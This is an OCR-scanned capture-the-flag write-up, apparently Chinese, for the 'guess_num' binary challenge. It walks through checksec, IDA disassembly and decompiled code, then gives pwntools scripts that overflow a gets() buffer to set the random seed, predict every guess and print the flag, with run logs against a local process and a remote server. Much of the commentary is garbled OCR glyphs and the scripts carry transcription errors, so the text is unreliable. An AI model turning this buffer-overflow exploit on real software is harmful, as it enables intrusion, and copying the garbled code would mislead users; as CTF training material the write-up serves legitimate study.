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root@mypwn: /ctf/work/python# checksec d22084e1938f4b21a380e38e2fb48629
[*] '/ctf/work/python/d22084e1938f4b21a380e38e2fb48629"

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled

PIE: PIE enabled

RSP HEI 2T, BRAAZET, HEZEHidalk.
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IDA View-A Hex View-1 QA

Structures

- .text:0000000000000C66 ; Attributes: bp-based frame
Function name .£ext:0000000000000C66
.text:0000000000000C66 ; int _ cdecl main(int, char **, char **)
[¥] _init_proc ~text:0000000000000C66 main proc near ; DATA XREF: start+1DTo
.£ext:0000000000000C66
[7] sub_980 .text:0000000000000C66 var_3C = dword ptr -3ch
.text:0000000000000C66 var_ 38 = dword ptr -38h
[7] _puts .text:0000000000000C66 var_ 34 = dword ptr -34h
- .text:0000000000000C66 var_ 30 = byte ptr -30h
[¥] __stack_chk_fail .text:0000000000000C66 seed = dword ptr -10h
.text:0000000000000C66 var_ 8 = gword ptr -8
[7] _setbuf .text:0000000000000C66
= .text:0000000000000C66 ; _ unwind {
[7] _system .text:0000000000000C66 push  rbp
- .text:0000000000000C67 mov rbp, rsp
[7] _printf .text:0000000000000C6A sub rsp, 40h
= .text:0000000000000C6E mov rax, fs:28h
[7] _close .text:0000000000000C77 mov [rbp+var 8], rax
- .text:0000000000000C7B xor eax, eax
[7] _read .text:0000000000000C7D mov rax, cs:stdin
= .text:0000000000000C84 mov esi, 0 ; buf
[¥] __libc_start_main .text:0000000000000C89 mov rdi, rax ; stream
— - - .£ext:0000000000000C8C call  _setbuf
[¥] _srand .text:0000000000000CS1 mov Tax, cs:stdout
- .text:0000000000000C98 mov esi, 0 ; buf
[7] _gets .text:0000000000000CSD mov rdi, rax ; stream
.£ext:0000000000000CAD call  _setbuf
[¥] _open .text:0000000000000CAS mov Tax, cs:stderr
- .text:0000000000000CAC mov esi, 0 ; buf
[¥] __isoc99_scanf .text:0000000000000CB1 mov rdi, rax ; stream
.£ext:0000000000000CB4 call  _setbuf
[7] _exit .text:0000000000000CB9 mov [rbp+var_3C], 0
- .text:0000000000000CCO mov [rbptvar_34], 0
E rand .text:0000000000000CCT mov eax, 0
- .text:0000000000000CCC call  sub BBO
E _gmon_start_ .text:0000000000000CD1 mov gword ptr [rbp+seed], rax
.text:0000000000000CD5 lea rdi, s P e "
E __cxa_finalize .text:0000000000000CDC call _puts
.text:0000000000000CEL lea rdi, aWelcomeToAGues ; "Welcome to a guess number game!'
E start .text:0000000000000CES call _puts
.text:0000000000000CED lea Tdi, s S "
E sub_ABO .text:0000000000000CF4 call _puts
.text:0000000000000CF9 lea rdi, aPleaseLetMeKno ; "Please let me know your namel"
E sub_B40 .text:0000000000000D00 call _puts
.text:0000000000000D05 lea rdi, aYourName ; "Your name:"
E sub_B80 .text:0000000000000D0C mov eax, 0
.text:0000000000000D11 call  _printf
E sub_BBO .text:0000000000000D16 lea Tax, [rbpvar 30]
.text:0000000000000D1A mov rdi, rax
E sub_C3E .text:0000000000000D1D mov eax, 0
.text:0000000000000D22 call _gets
| 7] main .text:0000000000000D27 mov rax, qword ptr [rbptseed]
.text:0000000000000D2B mov edi, eax ; seed
E init .text:0000000000000D2D call _srand
.text:0000000000000D32 mov [rbp+var 38], 0
E fini .text:0000000000000D39 jmp loc DE5
L £@XE20000000000000D3E §  — e
E _term_proc .text:0000000000000D3E
.text:0000000000000D3E loc_D3E ; CODE XREF: main+183475
E puts .text:0000000000000D3E call _rand
.text:0000000000000D43 mov ecx, eax
E __stack_chk_fail .text:0000000000000D45 mov edx, 2AAAAAABh
.text:0000000000000D4A mov eax, ecx
E setbuf .text:0000000000000DAC imul edx
.text:0000000000000D4E mov eax, ecx
E system .text:0000000000000D50 sar eax, 1Fh
.text:0000000000000D53 sub edx, eax
E printf .text:0000000000000D55 mov eax, edx
.text:0000000000000D57 add eax, eax
E close .text:0000000000000D59 add eax, edx

Line 25 of 44

00000C66 0000000000000CE6: main (Synchronized with Hex View-1)
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__inte4 __fastcall main(__int64 al, char **a2, char **a3)

{
FILE *v3; // rdi
const char *v4; // rdi

int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+1@h] [rbp-306h]
unsigned int seed[2];
unsigned __int64 vi11;

vll = _ readfsqword(©x28u);
setbuf(stdin, OLL);

setbuf(stdout, OLL);

stderr;

setbuf(stderr, OLL);

V6 = 0;

v8 = 0;

*(_QWORD *)seed = sub_BBO(v3, OLL);
puts(---------mmemeeeee oo ")
puts("Welcome to a guess number game!")

v3 =

// [rsp+30h] [rbp-16h]
// [rsp+38h] [rbp-8h]
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puts("Please let me know your name!");
printf("Your name:");

gets(&v9);

v4 = (const char *)seed[0];
srand(seed[0]);

for (i =0; i<=9; ++1 )
{

v8 = rand() % 6 + 1;
printf("------------- Turn:%d------------- \n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__is0c99_scanf("%d", &v6);
puts("----------mm oo e "N
if (v6 !=v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return OLL;

}
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return OLL;
}
__int64 sub_BBO()
{
int fd; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+1@h] [rbp-16h]
unsigned _ int64 v3; // [rsp+18h] [rbp-8h]
v3 = _ readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd < @ || (signed int)read(fd, &buf, 8uLL) < @ )
exit(1);
if ( fd > 0 )
close(fd);
return buf;
}

sub_CIE()REMEEHZES H T 4R, MBRATEHE—T, FTHAFM4AUESIsub_C3E().



printf("Your name:");
gets(&v9);
vd = ( char x)seed[0];
srand(seed[0]);

(i=0; 1i<=9; ++i )
{

v8 = rand() % 6 + 1;

printf(" Turn:%d——————————- \n", (unsigned int)(i + 1));
printf("Please input your guess number:");

_ is0c99_scanf("%d", &v6);

(v6 !=v8 )

puts("GG!");
exit(1);
}
v4d = "Sudcess!";
puts("Success!");
8
sub_C3E(v4);
OLL;
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char v9; // [rsp+l1@h] [rbp-306h]
unsigned int seed[2]; // [rsp+36h] [rbp-106h]

BAVE BIvIRIseedt & 2 8] b i 2 2 0x20, HB-4 FATHE T LA i payload:

payload = 'A'*0x20 + p64(1)

BT T OX20NNARTRAE A VI, 640 %1 R I E % seed[0].

2 BAIRHE payloadk 4w 5 python i 7 :

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./d22084e1938f4b21a380e38e21b48629")
# p = remote("111.198.29.45", 39368)

payload = "A'*0x20 + p64(1)

p.sendlineafter('Your name:', payload)
p.interactive()

PATZ JEHIE BT, FATAT PAZ O I R — £ B B BE L%

root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 62
[*] Switching to interactive mode
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GG!

[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 62)
[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python# python guess_num.py

[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 72

[*] Switching to interactive mode

GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629"' stopped with exit code 1 (pid 72)
[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python# python guess_num.py

[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 77
[*] Switching to interactive mode

GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 77)
[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn: /ctf/work/python# python guess_num.py

[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 82
[*] Switching to interactive mode

GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code 1 (pid 82)
[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python# python guess_num.py

[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 87
[*] Switching to interactive mode



Please input your guess number:$ 4
[*] Process './d22084e1938f4b21a380e38e2fb48629"' stopped with exit code 1 (pid 87)

GG!

[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python# python guess_num.py

[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 92
[*] Switching to interactive mode

GG!
[*] Process './d22084e1938f4b21a380e38e2fb48629"' stopped with exit code 1 (pid 92)
[*] Got EOF while reading in interactive

$
[*] Interrupted
root@mypwn:/ctf/work/python#

EEHBMNCEHFBE T2RETF T . IMRBRERKER— TH2mMREHL%.
M2 TEEATIN _Elibe, BE#BE R RREILERTRERFEYLE, pythonfIA LT -

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *
from ctypes import *

p = process('./d22084e1938f4b21a380e38e2fb48629")
# p = remote("111.198.29.45", 39368)
libc = cdll.LoadLibrary("/1lib/x86_64-1inux-gnu/libc.so0.6")

payload = '"A'*0x20 + p64(1)

p.sendlineafter('Your name:', payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6 + 1)
print num + ‘\n’'
p.sendlineafter('number:"',num)
p.interactive()
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root@mypwn:/ctf/work/python# python guess_num.py
[+] Starting local process './d22084e1938f4b21a380e38e2fb48629': pid 101
2

[*] Switching to interactive mode

Success!

You are a prophet!

Here is your flag!cat: flag: No such file or directory

[*] Process './d22084e1938f4b21a380e38e2fb48629' stopped with exit code @ (pid 101)
[*] Got EOF while reading in interactive

$
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root@mypwn:/ctf/work/python# python guess_num.py
[+] Opening connection to 111.198.29.45 on port 31433: Done
2

[*] Switching to interactive mode

Success!

You are a prophet!

Here is your flag!cyberpeace{128a0308b8d1a018cec257591fc4a2ea}
[*] Got EOF while reading in interactive

$

RSN T, IRAEE] T flag.
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